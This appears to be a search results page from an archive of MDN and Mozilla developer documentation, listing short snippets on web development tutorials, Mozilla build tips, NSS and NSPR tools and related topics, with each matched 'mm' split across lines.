mmary: mozilla.dev.builds - october 28th to november 3rd 2006 no such file or directory (build problem on winxp) november 2nd: kenoa complained that when he is compiling using cygwin on win32 he gets the following error no such file or directory1: /cygdrive/c/mozilla/mail/config/mozconfig client.mk:339: /cygdrive/c/mozilla/.mozconfig.mk: no such file or directory he claims that the file ".mozconfig" exists in /cygdrive/c/mozilla/mail/config/mozconfig the disable-crypto cause problem originally posted on november 2nd: gxk is building minimo using the code base from sept.
... problem compiling with vs 2003 .net phil is trying to compile firefox for the first time and is getting an error when doing so: building deps for /cygdrive/c/mozilla/toolkit/airbag/airbag/src/co
mmon/windows/guid_string.cc make[1]: leaving directory `/cygdrive/c/mozilla/obj-i686-pc-cygwin' make: *** [build] error 2 he also noted that he is using make 3.80-1.
...(http://www.google.com/url?sa=d&q=htt...tail%3fid%3d64) gavin reco
mmended that phil should add |ac_add_options --disable-airbag| to his .mozconfig.
...And 2 more matches
Sunbird Theme Tutorial - Archive of obsolete content
sunbird also contains co
mmunicator, global, help and mozapps components.
...in your <tt>chrome.manifest</tt> file, add lines like this: skin co
mmunicator testing chrome/co
mmunicator/ skin global testing chrome/global/ skin help testing chrome/help/ skin mozapps testing chrome/mozapps/ replacing <tt>testing</tt> with your theme's one-word internal name as before.
...for example, when i wrote this article i used this co
mmand in my theme directory: zip -0r testing-0.1.jar .
...And 2 more matches
@cc_on - Archive of obsolete content
the @cc_on statement activates conditional compilation support within co
mments in a script.
... syntax @cc_on remarks the @cc_on statement activates conditional compilation within co
mments in a script.
... it is not co
mmon to use conditional compilation variables in scripts written for asp or asp.net pages or co
mmand-line programs because the capabilities of the compilers can be determined by using other methods.
...And 2 more matches
Old Proxy API - Archive of obsolete content
introduction proxies are objects for which the progra
mmer has to define the semantics in javascript.
...proxies let the progra
mmer define most of the behavior of an object in javascript.
... they are said to provide a meta-progra
mming api.
...And 2 more matches
Reference - Archive of obsolete content
well if you combine the two, you can have inherited private variables: function myclass(){ var property = 5; this.tellme = function(){ return property; } } function myotherclass(){ myclass.apply( this ); } var o = new myotherclass; alert( o.tellme() ); //alerts 5 as you'd expect — the preceding co
mment was added by psygnisfive (talk – contribs) on 22:23, 4 december 2006 terminology we need a terminology appendix.
...since it's been 9 months since the last co
mment on this, i think i'll go ahead and change all of the examples.
...--george3 11:47, 14 sept 2006 (edt) sgml co
mment hiding quirks sgml co
mment hiding needs to be mentioned here and its consequences.
...And 2 more matches
XForms Custom Controls - Archive of obsolete content
work has just started in the w3c xforms working group to investigate the custom control issue, so eventually (hopefully?) there will be an "official" and co
mmon way to customize your form's user interface across all xforms processors.
...we reco
mmend that you use this attribute to create the css binding rule for your custom control.
...please see the co
mments in the source .idl file for more information on using this method.
...And 2 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
the object element: w3c standards and cross-browser issues the object element is part of the html 4.01 specification, and is the reco
mmended mechanism to invoke plugins.
... reco
mmendation in order to overcome the shortcomings that you can't nest object elements in ie and that there isn't a way you can simply use one object element in a cross-browser way (with architecture specific obtainment mechanisms), the best course of action is to dynamically write object elements based on architecture.
...unlike netscape co
mmunicator 4.x, netscape 6.x and 7 do not have a default java virtual machine -- they rely on sun's plugin.
...And 2 more matches
Archive of obsolete content
mmgc
mmgc is the tamarin (née macromedia) garbage collector, a memory management library that has been built as part of the avm2/tamarin effort.
... newsgroup su
mmaries obsolete: xpcom-based scripting for npapi plugins plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in the new world.
...we leverage some of these ideas to help you make your netscape co
mmunicator 4.x plugins exposed to javascript in mozilla based browsers.
...And 2 more matches
2D maze game with device orientation - Game development
basic javascript knowledge is reco
mmended to get the most from this tutorial.
...it’s quite new, but growing rapidly thanks to the passionate co
mmunity involved in the development process.
...here’s the code from the create() function responsible for this: window.addeventlistener("deviceorientation", this.handleorientation, true); we’re adding an event listener to the "deviceorientation" event and binding the handleorientation function which looks like this: handleorientation: function(e) { var x = e.ga
mma; var y = e.beta; ball._player.body.velocity.x += x; ball._player.body.velocity.y += y; }, the more you tilt the device, the more force is applied to the ball, therefore the faster it moves (the velocity is higher).
...And 2 more matches
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
networking and co
mmunications asynchronous co
mmunication is a method of exchanging messages between two or more parties in which each party receives and processes messages whenever it's convenient or possible to do so, rather than doing so i
mmediately upon receipt.
... for humans, e-mail is an asynchronous co
mmunication method; the sender sends an email and the recipient will read and reply to the message when it's convenient to do so, rather than doing so at once.
... when software co
mmunicates asynchronously, a program may make a request for information from another piece of software (such as a server), and continue to do other things while waiting for a reply.
...And 2 more matches
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
su
mmary javascript (or "js") is a progra
mming language used most often for dynamic client-side scripts on webpages, but it is also often used on the server-side, using a runtime such as node.js.
... javascript should not be confused with the java progra
mming language.
...and other countries, the two progra
mming languages are significantly different in their syntax, semantics, and use cases.
...And 2 more matches
Public-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
public-key cryptography — or asy
mmetric cryptography — is a cryptographic system in which keys come in pairs.
...this gives public-key encryption systems an advantage over sy
mmetric encryption systems in that the encryption key can be made public.
...however, they are typically much slower than sy
mmetric algorithms and the size of message they can encrypt is proportional to the size of the key, so they do not scale well for long messages.
...And 2 more matches
CSS and JavaScript accessibility best practices - Learn web development
css and javascript don't have the same i
mmediate importance for accessibility as html, but they are still able to help or damage accessibility, depending on how they are used.
...using correct semantics has a lot to do with user expectations — elements look and behave in certain ways, according to their functionality, and these co
mmon conventions are expected by users.
...the following sections su
mmarize the main html features to consider.
...And 2 more matches
Beginner's guide to media queries - Learn web development
prerequisites: html basics (study introduction to html), and an idea of how css works (study css first steps and css building blocks.) objective: to understand how to use media queries, and the most co
mmon approach for using them to create responsive designs.
...the value none means the user has no pointing device; perhaps they are navigating with the keyboard only or with voice co
mmands.
... "or" logic in media queries if you have a set of queries, any of which could match, then you can co
mma separate these queries.
...And 2 more matches
Multiple-column layout - Learn web development
proin blandit quam nec lacus varius co
mmodo et a urna.
...proin blandit quam nec lacus varius co
mmodo et a urna.
...proin blandit quam nec lacus varius co
mmodo et a urna.
...And 2 more matches
Positioning - Learn web development
to try this out, add the following declarations to the .positioned rule in your css: top: 30px; left: 30px; note: the values of these properties can take any units you'd logically expect — pixels,
mm, rems, %, etc.
...proin blandit quam nec lacus varius co
mmodo et a urna.
...proin blandit quam nec lacus varius co
mmodo et a urna.
...And 2 more matches
Styling lists - Learn web development
the unstyled example is available on github (check out the source code too.) the html for our list example looks like so: <h2>shopping (unordered) list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ul> <li>hu
mmus</li> <li>pita</li> <li>green salad</li> <li>halloumi</li> </ul> <h2>recipe (ordered) list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ol> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned o...
...n both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hu
mmus, and fried halloumi.</li> </ol> <h2>ingredient description list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <dl> <dt>hu
mmus</dt> <dd>a thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd> <dt>pita</dt> <dd>a soft, slightly leavened flatbread.</dd> <dt>halloumi</dt> <dd>a semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd> <dt>green salad</dt> <dd>that green healthy stuff that many of us just use to garnish kebabs.</dd> </dl> if you go t...
...the following example: <ol start="4"> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hu
mmus, and fried halloumi.</li> </ol> gives you this output: reversed the reversed attribute will start the list counting down instead of up.
...And 2 more matches
How do you upload your files to a web server? - Learn web development
su
mmary if you have built a simple web page (see html basics for an example), you will probably want to put it online, on a web server.
... it is seen as a more advanced tool than sftp, beause by default it is used on the co
mmand line.
... a basic co
mmand looks like so: rsync [-options] source user@x.x.x.x:destination -options is a dash followed by a one or more letters, for example -v for verbose error messages, and -b to make backups.
...And 2 more matches
How do you set up a local testing server? - Learn web development
open your co
mmand prompt (windows)/ terminal (macos/ linux).
... to check python is installed, enter the following co
mmand: python -v # or you might have the py co
mmand available, # in which case try py -v this should return a version number.
... if this is ok, navigate to the directory that your example is inside, using the cd co
mmand.
...And 2 more matches
Client-side form validation - Learn web development
specifying the email type, for example, validates the inputs value against a well-formed email address pattern or a pattern matching a co
mma-separated list of email addresses if it has the multiple attribute.
...you can find full details of all the available properties in the validitystate reference page; below is listed a few of the more co
mmon ones: patternmismatch: returns true if the value does not match the specified pattern, and false if it does match.
... customizing these error messages is one of the most co
mmon use cases of the constraint validation api.
...And 2 more matches
UI pseudo-classes - Learn web development
t having generated content put on them (this is because generated content is placed relative to an element's formatting box, but form inputs work more like replaced elements and therefore don't have one), we will add an empty <span> to hang the generated content on: <div> <label for="fname">first name: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> the i
mmediate problem with this was that the span was dropping onto a new line below the input because the input and label are both set with width: 100%.
...the issue is really one of semantics — out-of-range is a more specific type of invalid co
mmunication, so you might want to provide a different message for out-of-range inputs, which will be more helpful to users than just saying "invalid".
...a classic example is a shipping form — co
mmonly you'll get asked if you want to use the same address for billing and shipping; if so, you can just send a single address to the server, and might as well just disable the billing address fields.
...And 2 more matches
The web and web standards - Learn web development
brief history of the web we'll keep this very brief, as there are many (more) detailed accounts of the web's history out there, which we'll link to later on (also try searching for "history of the web" in your favorite search engine and see what you get, if you are interested in more detail.) in the late 1960s, the us military developed a co
mmunication network called arpanet.
...ok, that's a very simple su
mmary of what happened, but i did promise you a brief su
mmary.
...as a part of the web co
mmunity, you'll have an entire web of contacts and useful material to help you, and you'll start to enjoy the creative possibilities it brings.
...And 2 more matches
Tips for authoring fast-loading HTML pages - Learn web development
these tips are based on co
mmon knowledge and experimentation.
... reducing page weight through the elimination of unnecessary whitespace and co
mments, co
mmonly known as minimization, and by moving inline script and css into external files, can improve download performance with minimal need for other changes in the page structure.
...first, browsers will have no need to perform error-correction when parsing the html (this is aside from the philosophical issue of whether to allow format variation in user input and then progra
mmatically "correct" or normalize it; or whether, instead, to enforce a strict, no-tolerance input format).
...And 2 more matches
Creating hyperlinks - Learn web development
this is one co
mmon way in which a website is created — the same page structure is used on every page, including the same navigation menu, so when links are clicked it gives the impression that you are staying in the same place, and different content is being brought up.
... in its most basic and co
mmonly used form, a mailto: link simply indicates the email address of the intended recipient.
...the most co
mmonly used of these are "subject", "cc", and "body" (which is not a true header field, but allows you to specify a short content message for the new email).
...And 2 more matches
Images in HTML - Learn web development
so for example, if your image is called dinosaur.jpg, and it sits in the same directory as your html page, you could embed the image like so: <img src="dinosaur.jpg"> if the image was in an images subdirectory, which was inside the same directory as the html page (which google reco
mmends for seo/indexing purposes), then you'd embed it like this: <img src="images/dinosaur.jpg"> and so on.
...this is especially co
mmon on mobile phones, and in countries where bandwidth is limited or expensive.
...in our example, we could do this: <img src="images/dinosaur.jpg" alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" height="341" title="a t-rex on display in the manchester university museum"> this gives us a tooltip on mouse hover, just like link titles: however, this is not reco
mmended — title has a number of accessibility problems, mainly based around the fact that screen reader support is very unpredictable and most browsers won't show it unless you are hovering with a mouse (so e.g.
...And 2 more matches
JavaScript — Dynamic client-side scripting - Learn web development
javascript is a progra
mming language that allows you to implement complex things on web pages.
...start by working through the following modules: getting started with the web introduction to html introduction to css having previous experience with other progra
mming languages might also help.
... javascript building blocks in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to co
mmonly-encountered types of code block such as conditional statements, loops, functions, and events.
...And 2 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
...enter the following terminal co
mmand to do so: ember generate component-class footer next, go and find the newly-created todomvc/app/components/footer.js file and update it to the following: import component from '@gli
mmer/component'; import { inject as service } from '@ember/service'; export default class footercomponent extends component { @service('todo-data') todos; } now we need to go back to our todo-da...
...the "todos left" indicator always says "x todos left", even when there is only one todo left, which is bad gra
mmar!
...And 2 more matches
Ember app structure and componentization - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
... using the cli to create our components for us so to represent our app, we want to create 4 components: header list individual todo footer to create a component, we use the ember generate component co
mmand, followed by the name of the component.
... enter the following co
mmand into your terminal: ember generate component header these will generate some new files, as shown in the resulting terminal output: installing component create app/components/header.hbs skip app/components/header.js tip to add a class, run `ember generate component-class header` installing component-test create tests/integration/components/header-test.js header.hbs is the template file where we’ll include the html structure for just that component.
...And 2 more matches
Framework main features - Learn web development
while it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the co
mmunities around those frameworks.
...it's also excessive: home and article don’t actually make use of the author's portrait or byline, but if we want to get that information into the authorcredit, we will need to change home and author to acco
mmodate it.
... the gli
mmer vm is unique to ember.
...And 2 more matches
React interactivity: Events and state - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line.
...another co
mmon convention you may well come across in react code is to prefix callback prop names with the word on, followed by the name of the event that will cause them to be run.
...making unique identifiers is a hard problem – one for which the javascript co
mmunity has written some helpful libraries.
...And 2 more matches
Mozilla's Section 508 Compliance
applications also shall not disrupt or disable activated features of any operating system that are identified as accessibility features where the application progra
mming interface for those accessibility features has been documented by the manufacturer of the operating system and is available to the product developer.
...the focus shall be progra
mmatically exposed so that assistive technology can track focus and focus changes.
...we expose focus progra
mmatically via msaa (windows) and atk (linux/unix).
...And 2 more matches
Software accessibility: Where are we today?
in answer to this problem, many small accessibility hardware and software vendors created products and software which helped people who could not perform one of the four basic tasks to use co
mmon computer applications.
...alternative ways to co
mmand the computer and enter data another problem is how people with disabilities get information into the computer.
...however, any special features are generally handled in the keyboard itself, so that no special progra
mming is required.
...And 2 more matches
Adding a new CSS property
this will cause tests of your new property to be added to many of the mochitests in layout/style/test, which can be run with the co
mmand "./mach mochitest -f plain layout/style/".
... (which set the property is in is given in the specification, which says "inherited: yes" or "inherited: no" in the property's definition.) also note that some of the style structs intentionally contain only properties set/reset by a particular co
mmon shorthand property; this improves the effectiveness of some of the performance and memory optimizations done with the rule tree, and thus we should avoid adding a property not reset by that shorthand to such a struct.
... if the property's values can be expressed as a single value, or as a space-separated or co
mma-separated list of values that can be described by the variant_* flags (also in nscssprops.h), you should use css_property_parse_value or css_property_parse_value_list, and set the appropriate variant_* flags in the entry in nscssproplist.h (and maybe also css_property_value_list_uses_co
mmas).
...And 2 more matches
Updating NSPR or NSS in mozilla-central
(because some developers might not be aware that nspr/nss are separately maintained and released, the mozilla hg server rejects accidental changes/forking, if the required keywords are missing in the co
mmit co
mment.) if nspr or nss must be upgraded to a new static tag, follow this procedure: before starting, make sure your local repository is updated to mozilla-central tip and that there are no local changes: $ hg status -mard pull the new sources $ python client.py update_nspr nspr_tag_name or $ python client.py update_nss nss_tag_name if you update a branch older than mozilla...
... 17 (without the change from bug 782784), you must manually add a du
mmy change (add or remove a blank line) to force a rebuild of nspr: mozilla/nsprpub/config/prdepend.h or nss: mozilla/security/nss/coreconf/coreconf.dep check directory mozilla/nsprpub/patches/ for patches that need to be applied to nspr, and directory mozilla/security/patches/ for patches that need to be applied to nss.
... moz_arg_with_bool(system-nss, [ --with-system-nss use system installed nss], _use_system_nss=1 ) if test -n "$_use_system_nss"; then am_path_nss(3.16.1, [moz_native_nss=1], [ac_msg_error([you don't have nss installed or your version is too old])]) fi co
mmit the update: $ hg co
mmit -a in order to eliminate any problems related to how nss and nspr are built differently in firefox than they are standalone, you should push your co
mmit to try first.
...And 2 more matches
Obsolete Build Caveats and Tips
this note below seems redundant as this is true by default https://msdn.microsoft.com/en-us/library/dh8che7s%28v=vs.110%29.aspx note: starting with gecko 7.0, you should no longer include "-zc:wchar_t-" in the co
mmand line when building on windows.
... edit vcvars32.bat to correct the problem (see http://blogs.msdn.com/windowssdk/arc...vironment.aspx "workaround: repair the vs2008 co
mmand line build environment by editing c:\program files\microsoft visual studio 9.0\vc\bin\vcvars32.bat manually").
...alternatively you can install the co
mmand-line compiler as part of the windows 7 sdk, but you are then expected to use the included windbg debugger.
...And 2 more matches
Limitations of chrome scripts
however, this "du
mmy" object is completely static and only exposes a few of the normal properties that windows and documents have.
... to make the shim unnecessary: factor the code that needs to access content into a separate script, load that script into the content process as a frame script, and co
mmunicate between the chrome script and the frame script using the message-passing apis.
... a co
mmon pattern here is to use the notificationcallbacks property of the nsihttpchannel to get the dom window that initiated the load, like this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var domwindow = httpchannel.notificationcallbacks.getinterface(ci.nsidomwindow); } } or this: obser...
...And 2 more matches
mozbrowserselectionstatechanged
co
mmands an object that stores information about what co
mmands can be executed on the current selection.
... its properties are: canselectall: a boolean indicating whether the select all co
mmand can be issued (true) or not (false).
... cancut: a boolean indicating whether the cut co
mmand can be issued (true) or not (false).
...And 2 more matches
Gecko Keypress Event
charcode of dom keypress event if a keypress event is fired without any modifier keys (ctrl/alt(option)/meta(win/co
mmand)), then the properties of the event are the same as they were in gecko1.8.1.
...co
mmand) is the accel key on mac.
... mac the charcode is replaced when meta (co
mmand) or ctrl is down.
...And 2 more matches
HTTP Cache
this document only contains what cannot be found or may not be clear directly from the idl files co
mments.
...ll operate over all existing app caches the service also provides methods to clear the whole disk and memory cache content or purge any intermediate memory structures: clear – after it returns, all entries are no longer accessible through the cache apis; the method is fast to execute and non-blocking in any way; the actual erase happens in background purgefro
mmemory – removes (schedules to remove) any intermediate cache data held in memory for faster access (more about the intermediate cache below) nsiloadcontextinfo distinguishes the scope of the storage demanded to open.
...i
mmediately); there is currently no way to opt out of this feature (watch bug 938186).
...And 2 more matches
CustomizableUI.jsm
this is roughly equivalent to fetching the currentset attribute and splitting by co
mmas in the legacy apis.
...this can only be called i
mmediately after reset().
... customizableui.createwidget({ id: 'id_of_my_widget_within_customizableui_and_dom', defaultarea: customizableui.area_navbar, label: 'my widget', // type: 'button', //we don't need to type this, the default type is button tooltiptext: 'this is my widget created with cui.jsm', onco
mmand: function(aevent) { var thisdomwindow = aevent.target.ownerdocument.defaultview; //this is the browser (xul) window var thiswindowsselectedtabswindow = thisdomwindow.gbrowser.selectedtab.linkedbrowser.contentwindow; //this is the html window of the currently selected tab thiswindowsselectedtabswindow.alert('alert from html window of selected tab'); thisdomwindow...
...And 2 more matches
Log.jsm
// use dots to create a hierarchy, this way you can later change // the log level of sets of loggers under some co
mmon root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console.
...expect these to be i
mmediately visible on a status console.
...expect these to be i
mmediately visible on a status console.
...And 2 more matches
Localization technical reviews
technical review evaluation criteria in principal, a technical review's criteria looks for localization issues co
mmon to localizing software but within the mozilla context.
...leading co
mments are ok, but watch out for #filter emptylines #define ...
... # co
mment #define ...
...And 2 more matches
MathML Torture Test
/math> </td></tr> <tr> <td>2</td> <td><img src="https://udn.realityripple.com/samples/b8/da4a50ea34.png" width="30" height="17" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <!-- <mrow> <msub><mi></mi><mn>2</mn></msub> <msub><mi>f</mi><mn>3</mn></msub> </mrow> --> <mrow> <
mmultiscripts> <mi>f</mi> <mn>3</mn><none/> <mprescripts/> <mn>2</mn><none/> </
mmultiscripts> </mrow> </math> </td></tr> <tr> <td>3</td> <td><img src="https://udn.realityripple.com/samples/8a/1d0e6e073c.png" width="58" height="47" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> ...
... </msup> <msup> <mi>y</mi> <mn>۲</mn> </msup> </mrow> </math> </td></tr> <tr> <td>2</td> <td> <math dir="rtl" display="block"> <!-- <mrow> <msub><mi></mi><mn>٢</mn></msub> <msub><mi>f</mi><mn>٣</mn></msub> </mrow> --> <mrow> <
mmultiscripts> <mi>f</mi> <mn>٣</mn><none/> <mprescripts/> <mn>٢</mn><none/> </
mmultiscripts> </mrow> </math> </td> <td> <math dir="rtl" display="block"> <!-- <mrow> <msub><mi></mi><mn>٢</mn></msub> <msub><mi>f</mi><mn>٣</mn></msub> </mrow> ...
... --> <mrow> <
mmultiscripts> <mi>f</mi> <mn>٣</mn><none/> <mprescripts/> <mn>٢</mn><none/> </
mmultiscripts> </mrow> </math> </td> <td> <math display="block"> <!-- <mrow> <msub><mi></mi><mn>۲</mn></msub> <msub><mi>f</mi><mn>۳</mn></msub> </mrow> --> <mrow> <
mmultiscripts> <mi>f</mi> <mn>۳</mn><none/> <mprescripts/> <mn>۲</mn><none/> </
mmultiscripts> </mrow> </math> </td> </tr> <tr> <td>3</td> <td> <math dir="rtl" display="block"> <mrow> <mfrac> <mrow> <mi>Ǯ...
...And 2 more matches
Using the viewport meta tag to control layout on mobile browsers
for example, safari's documentation says the content is a "co
mma-delimited list," but existing browsers and web pages use any mix of co
mmas, semicolons, and spaces as separators.
...it is reco
mmended that the pixel unit refer to the whole number of device pixels that best approximates the reference pixel.
... it is reco
mmended that the reference pixel be the visual angle of one pixel on a device with a pixel density of 96dpi and a distance from the reader of an arm's length.
...And 2 more matches
A brief guide to Mozilla preferences
preference changes via user interface usually take effect i
mmediately.
...they are: default preference files firefox ships default preferences in several files, all in the application directory: greprefs.js - preferences shared by all applications using the mozilla platform services/co
mmon/services-co
mmon.js - preferences for some shared services code, this should arguably be included in some other file defaults/pref/services-sync.js - default preferences for firefox sync, also oddly misplaced browser/app/profile/channel-prefs.js - a file indicating the user's update channel.
... preferences saving usually when the user specifically co
mmits a preference change via user interface such as the preferences dialog, the application saves the change by overwriting prefs.js .
...And 2 more matches
Profile Manager
these cause firefox to be launched with various co
mmand-line arguments.
... see co
mmand line options for a description of these.
... launch option co
mmand line argument run firefox in offline mode -offline run firefox in safe mode -safe-mode start firefox with a console -console start new instance -no-remote note: it isn't possible to start a second instance of firefox without passing it the -no-remote co
mmand line argument.
...And 2 more matches
NSPR's Position On Abrupt Thread Termination
i resist including this function in nspr because it results in bad progra
mming practice and unsupportable programs.
...in that environment, exit() may be called and any time, and results in the calling thread's i
mmediate termination.
...in the general course of events when progra
mming with threads, it is very advantageous for a thread to have resources that it and only it knows about.
...And 2 more matches
Nonblocking IO In NSPR
the blocking io model encourages the use of multiple threads as a progra
mming model.
...an io function on a nonblocking file descriptor either succeeds i
mmediately or fails i
mmediately with <tt>pr_would_block_error</tt>.
...one can make the new socket nonblocking by using <tt>pr_setsockopt()</tt> as in the example below (error checking is omitted for clarity): <tt>prfiledesc *sock;</tt> <tt>printn optval = 1;</tt> <tt>sock = pr_newtcpsocket();</tt> /* * make the socket nonblocking */ pr_setsockopt(sock, pr_sockopt_nonblocking, &optval, sizeof(optval)); progra
mming constraints there are some constraints due to the use of nt asynchronous i/o in the nspr.
...And 2 more matches
Optimizing Applications For NSPR
the implementation has dependencies on libraries that are implemented in the netscape co
mmunicator.
...one can only determine the i
mmediate setting of daylight savings time, not what it would be at some arbitrary time in the past or the future.
...this has disastrous implications on the generally accepted progra
mming practice of taking the address of a stack variable and giving that address to another thread.
...And 2 more matches
Building NSS
this is reco
mmended, as the build is faster and more reliable.
...to check out the latest sources for nss and nspr--which may not be part of a stable release--use the following co
mmands: hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss to get the source of a specific release, see nss releases.
...this is reco
mmended.
...And 2 more matches
NSS Developer Tutorial
curly braces: both of the following styles are allowed: if (condition) { action1(); } else { action2(); } or: if (condition) { action1(); } else { action2(); } the former style is more co
mmon.
... when a block of code consists of a single statement, nss doesn’t require curly braces, so both of these examples are fine: if (condition) { action(); } or: if (condition) action(); although the use of curly braces is more co
mmon.
... multiple-line co
mments should be formatted as follows: /* * line1 * line2 */ or /* ** line 1 ** line 2 */ the following styles are also co
mmon, because they conserve vertical space: /* line1 * line2 */ or /* line1 ** line2 */ or /* line1 * line2 */ naming public functions are named foo_dooneaction.
...And 2 more matches
nss tech note7
pk11symkey: a sy
mmetric key (often called a session key), defined in "secmodt.h".
...at present 1024 bit and 2048 bit rsa keys are the most co
mmon and reco
mmended.
...use pk11_referencesymkey() to acquire a reference to a sy
mmetric key (pk11symkey *).
...And 2 more matches
NSS Tools sslstrength
sslstrength su
mmary a simple co
mmand-line client which connects to an ssl-server, and reports back the encryption cipher and strength used.
...the letter in the first column of the output is used to identify the cipher preferences in the ciphers= co
mmand.
...this restricts the available ciphers to the same set used by co
mmunicator.
...And 2 more matches
PKCS11 Implement
implementing pkcs #11 for nss note: this document was originally for the netscape security library that came with netscape co
mmunicator 4.0.
...su
mmarizes the support nss expects from different kinds of tokens.
... table 1.2 su
mmarizes the pkcs #11 functions (in addition to the other functions described in this document) that nss expects each type of token to support.
...And 2 more matches
NSS functions
ssl functions the public functions listed here are used to configure sockets for co
mmunication via the ssl and tls protocols.
... other sources of information: the nss_reference documents the functions most co
mmonly used by applications to support ssl.
...r cert_getcertnicknames mxr 3.2 and later cert_getcerttrust mxr 3.2 and later cert_getcertuid mxr 3.2 and later cert_getclassicocspdisabledpolicy mxr 3.12 and later cert_getclassicocspenabledhardfailurepolicy mxr 3.12 and later cert_getclassicocspenabledsoftfailurepolicy mxr 3.12 and later cert_getco
mmonname mxr 3.2 and later cert_getcountryname mxr 3.2 and later cert_getdbcontentversion mxr 3.2 and later cert_getdefaultcertdb mxr 3.2 and later cert_getdomaincomponentname mxr 3.2 and later cert_getfirstemailaddress mxr 3.7 and later cert_getlocalityname mxr 3.2 and later cert_getnextemailadd...
...And 2 more matches
NSS tools : cmsutil
synopsis cmsutil [options] arguments description the cmsutil co
mmand-line uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
... to run cmsutil, type the co
mmand cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
... each co
mmand takes one option.
...And 2 more matches
sslcrt.html
upgraded documentation may be found in the current nss reference certificate functions chapter 5 certificate functions this chapter describes the functions and related types used to work with a certificate database such as the cert7.db database provided with co
mmunicator.
... cert_verifycertname compares the co
mmon name specified in the subject dn for a certificate with a specified hostname.
... returns the function returns one of these values: if the co
mmon name in the subject dn for the certificate matches the domain name passed in the hostname parameter, secsuccess.
...And 2 more matches
NSS Tools cmsutil
using cmsutil newsgroup: mozilla.dev.tech.crypto the cmsutil co
mmand-line utility uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
... syntax to run cmsutil, type the co
mmand cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
... each co
mmand takes one option.
...And 2 more matches
NSS Tools sslstrength
sslstrength su
mmary a simple co
mmand-line client which connects to an ssl-server, and reports back the encryption cipher and strength used.
...the letter in the first column of the output is used to identify the cipher preferences in the ciphers= co
mmand.
...this restricts the available ciphers to the same set used by co
mmunicator.
...And 2 more matches
NSS tools : cmsutil
synopsis cmsutil [options] arguments description the cmsutil co
mmand-line uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
... to run cmsutil, type the co
mmand cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
... each co
mmand takes one option.
...And 2 more matches
JIT Optimization Strategies
the most co
mmonplace operations that are relevant for fast program execution are property accesses and function calls.
...it provides information on what they attempt to do, what general level of speed-up they provide, what kind of program characteristics can prevent them from being used, and co
mmon ways to enable the engine to utilize that optimization.
... getprop_co
mmongetter optimizes access to properties which are implemented by a getter function, where the getter is shared between multiple types.
...And 2 more matches
Parser API
visit estree spec for a co
mmunity ast standard that includes latest ecmascript features and is backward-compatible with spidermonkey format.
... interface sequenceexpression <: expression { type: "sequenceexpression"; expressions: [ expression ]; } a sequence expression, i.e., a co
mma-separated sequence of expressions.
... interface xmlco
mment <: xml { type: "xmlco
mment"; contents: string; } an xml co
mment.
...And 2 more matches
Thread Sanitizer
you can check which version of clang you have by running the co
mmand: clang -v if you are not building from mozilla-central and are building firefox 39 or earlier, you must use clang 3.3.
... we reco
mmend using clang 3.6 or later.
...# if it's not already in your $path, then unco
mment this next line: #export llvm_symbolizer="/path/to/llvm-symbolizer" # add tsan to our compiler flags export cflags="-fsanitize=thread -fpic -pie" export cxxflags="-fsanitize=thread -fpic -pie" # additionally, we need the tsan flag during linking.
...And 2 more matches
Handling Mozilla Security Bugs
in particular, we understand and acknowledge the concerns of those who believe that all information about security vulnerabilities should be publicly disclosed as soon as it is known, so that users may take i
mmediate steps to protect themselves and so that problems can get the maximum amount of developer attention and be fixed as soon as possible.
... when a bug is put into the security bug group, the group members, bug reporter, and others associated with the bug will decide by consensus, either through co
mments on the bug or the group mailing list, whether an i
mmediate warning to users is appropriate and how it should be worded.
... to establish, for each bug, the amount of information a distributor can reveal i
mmediately (before a fix is available) without putting other distributors and their customers at risk.
...And 2 more matches
Gecko states
state_invisible the object is progra
mmatically hidden.
... for example, menu itmes are progra
mmatically hidden until a user activates the menu.
... because objects with this state are not available to users, client applications should not co
mmunicate information about the object to users.
...And 2 more matches
How to build an XPCOM component in JavaScript
execute this co
mmand to compile the typelib.
